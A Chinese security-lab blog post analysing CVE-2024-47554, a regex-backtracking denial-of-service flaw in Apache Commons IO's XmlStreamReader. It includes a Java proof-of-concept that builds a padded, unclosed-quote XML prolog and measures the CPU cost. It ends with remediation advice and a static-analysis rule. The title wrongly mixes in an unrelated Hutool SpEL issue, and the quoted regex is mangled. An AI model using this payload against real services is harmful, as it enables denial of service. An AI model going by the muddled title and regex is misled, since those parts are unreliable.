开源组件漏洞分析-Hutool 存在SPEL命令执行风险CVE-2024-47554 Apache Commons IO 资源管理错误漏洞
本文作者:宇航@涂鸦智能安全实验室
漏洞编号
CVE-2024-47554
受影响版本:
commons-io:commons-io [2.0,2.14.0)
commons_io [2.0,2.14.0)
漏洞危害
Apache Commons IO是美国阿帕奇(Apache)基金会的一个应用程序。提供一个帮助开发IO功能。 Apache Commons IO 2.0版本至2.14.0之前版本存在资源管理错误漏洞,该漏洞源于CPU资源消耗不受控制。
漏洞poc
xml ddos。
private static void test2_maliciousXml() {
// prolog 内容:<?xml + 填充 + encoding=" 未闭合,以 > 结束
// getXmlProlog() 截取到 > 后,整段传入 ENCODING_PATTERN 匹配
StringBuilder sb = new StringBuilder("<?xml ");
for (int i = 0; i < 3000; i++) {
sb.append("a ");
}
sb.append("encoding=\"UTF-8><root/>");
byte[] malicious = sb.toString().getBytes(StandardCharsets.UTF_8);
}
漏洞触发点:
XmlStreamReader reader = new XmlStreamReader(new ByteArrayInputStream(data));
漏洞详情

该漏洞主要在于XmlStreamReader 构造函数内部调用私有方法 getXmlProlog()
该方法读取输入流中第一个 ‘>’ 之前的内容作为 XML prolog,然后用 ENCODING_PATTERN 正则匹配编码声明。
2.13.x 版本的正则为 {@code <\?xml.encoding[\s]=[\s]((?:".[“]*”)|(?:'.[']'))}
其中 {@code .*} 贪婪匹配后逐字符回溯,恶意构造的 prolog 可使单次匹配耗时数倍增加。
虽受 8KB 缓冲区限制,但在高并发场景下可累积放大为 DoS。

以下是验证poc代码:
package com.example.test.cves;
import org.apache.commons.io.input.XmlStreamReader;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
public class CVE_2024_47554 {
public static void main(String[] args) {
System.out.println("CVE-2024-47554 漏洞验证");
System.out.println("Apache Commons IO XmlStreamReader ReDoS\n");
// 预热 JVM,消除类加载开销
warmup();
test1_normalXml();
test2_maliciousXml();
test3_concurrentAmplification();
printRemediation();
}
private static void warmup() {
byte[] xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><r/>".getBytes(StandardCharsets.UTF_8);
for (int i = 0; i < 5; i++) {
try {
new XmlStreamReader(new ByteArrayInputStream(xml)).close();
} catch (Exception ignored) {}
}
}
/**
* 基准:正常 XML 编码检测
*/
private static void test1_normalXml() {
System.out.println("=== 测试1: 正常 XML ===");
byte[] xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>"
.getBytes(StandardCharsets.UTF_8);
long avg = runMultiple(xml, 100);
System.out.println("正常 XML 平均耗时: " + avg + "μs (100次)");
System.out.println();
}
/**
* 恶意 XML:在第一个 '>' 之前填充大量字符 + 未闭合 encoding 引号
* 构造函数 → getXmlProlog() → ENCODING_PATTERN 匹配时 .* 回溯
*/
private static void test2_maliciousXml() {
System.out.println("=== 测试2: 恶意 XML (ReDoS) ===");
// prolog 内容:<?xml + 填充 + encoding=" 未闭合,以 > 结束
// getXmlProlog() 截取到 > 后,整段传入 ENCODING_PATTERN 匹配
StringBuilder sb = new StringBuilder("<?xml ");
for (int i = 0; i < 3000; i++) {
sb.append("a ");
}
sb.append("encoding=\"UTF-8><root/>");
byte[] malicious = sb.toString().getBytes(StandardCharsets.UTF_8);
long avg = runMultiple(malicious, 100);
System.out.println("恶意 XML (" + malicious.length + " bytes) 平均耗时: " + avg + "μs (100次)");
System.out.println();
}
/**
* 模拟并发:100 个请求累积的 CPU 耗时对比
*/
private static void test3_concurrentAmplification() {
System.out.println("=== 测试3: 并发放大效应 ===");
byte[] normalXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>"
.getBytes(StandardCharsets.UTF_8);
StringBuilder sb = new StringBuilder("<?xml ");
for (int i = 0; i < 3000; i++) {
sb.append("a ");
}
sb.append("encoding=\"UTF-8><root/>");
byte[] maliciousXml = sb.toString().getBytes(StandardCharsets.UTF_8);
int requests = 1000;
long normalTotal = 0;
for (int i = 0; i < requests; i++) {
normalTotal += processSingle(normalXml);
}
long maliciousTotal = 0;
for (int i = 0; i < requests; i++) {
maliciousTotal += processSingle(maliciousXml);
}
System.out.println(requests + " 次正常请求累计: " + normalTotal / 1000 + "μs");
System.out.println(requests + " 次恶意请求累计: " + maliciousTotal / 1000 + "μs");
double ratio = (double) maliciousTotal / Math.max(normalTotal, 1);
System.out.println("恶意/正常比: " + String.format("%.1f", ratio) + "x");
if (ratio > 2) {
System.out.println("✓ 恶意请求累计 CPU 消耗显著高于正常请求,并发场景下可构成 DoS");
}
System.out.println();
}
private static long runMultiple(byte[] data, int times) {
long total = 0;
for (int i = 0; i < times; i++) {
total += processSingle(data);
}
return total / times / 1000; // 转为 μs
}
private static long processSingle(byte[] data) {
long start = System.nanoTime();
try {
XmlStreamReader reader = new XmlStreamReader(new ByteArrayInputStream(data));
reader.close();
} catch (Exception ignored) {}
return System.nanoTime() - start;
}
private static void printRemediation() {
System.out.println("=== 修复建议 ===");
System.out.println("1. 升级 commons-io 至 2.14.0+");
System.out.println("2. 对不可信 XML 输入添加大小限制");
System.out.println();
}
运行后可得到:

调用堆栈如下:

修复方案
1、升级 commons-io 至 2.14.0+。
2、对不可信 XML 输入添加大小限制。该方式为黑名单,不推荐!
加白策略
由上分析可知此处漏洞触发条件有以下两点
1、使用如下不安全写法,接受了用户的恶意输入,并且调用XmlStreamReader构造函数。
2、用户可自定义data的值。
此处构造条件比较罕见,且影响较小。可看到需要条件竞争才达到延迟效果。且延迟效果一般,未达到很大的消耗值。因此影响范围一般,可加白处理。加白后再添加一条新的规则以免遗漏。
白盒规则
对函数org.apache.commons.io.input.XmlStreamReaderengine.getXmlProlog函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行升级。
主要匹配内容:org.apache.commons.io.input.XmlStreamReaderengine.getXmlProlog();

包名:org.apache.commons.io.input
类名:XmlStreamReader
方法名:getXmlProlog
使用语义分析策略即可。
<Semantic id="60ecff26-ddff-40c8-9c5d-5f156f0ee6b4" version="1.1.1">
<MethodDefinition implements="true" overrides="true" extends="true">
<!-- 填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点 -->
<NamespaceName type="value">org.apache.commons.io.input</NamespaceName>
<!-- 填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点 -->
<ClassName type="pattern">XmlStreamReader</ClassName>
<!-- 填写需要匹配的方法名正则表达式或字符串 -->
<MethodName type="pattern">getXmlProlog</MethodName>
</MethodDefinition>
</Semantic>
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。
更多推荐



所有评论(0)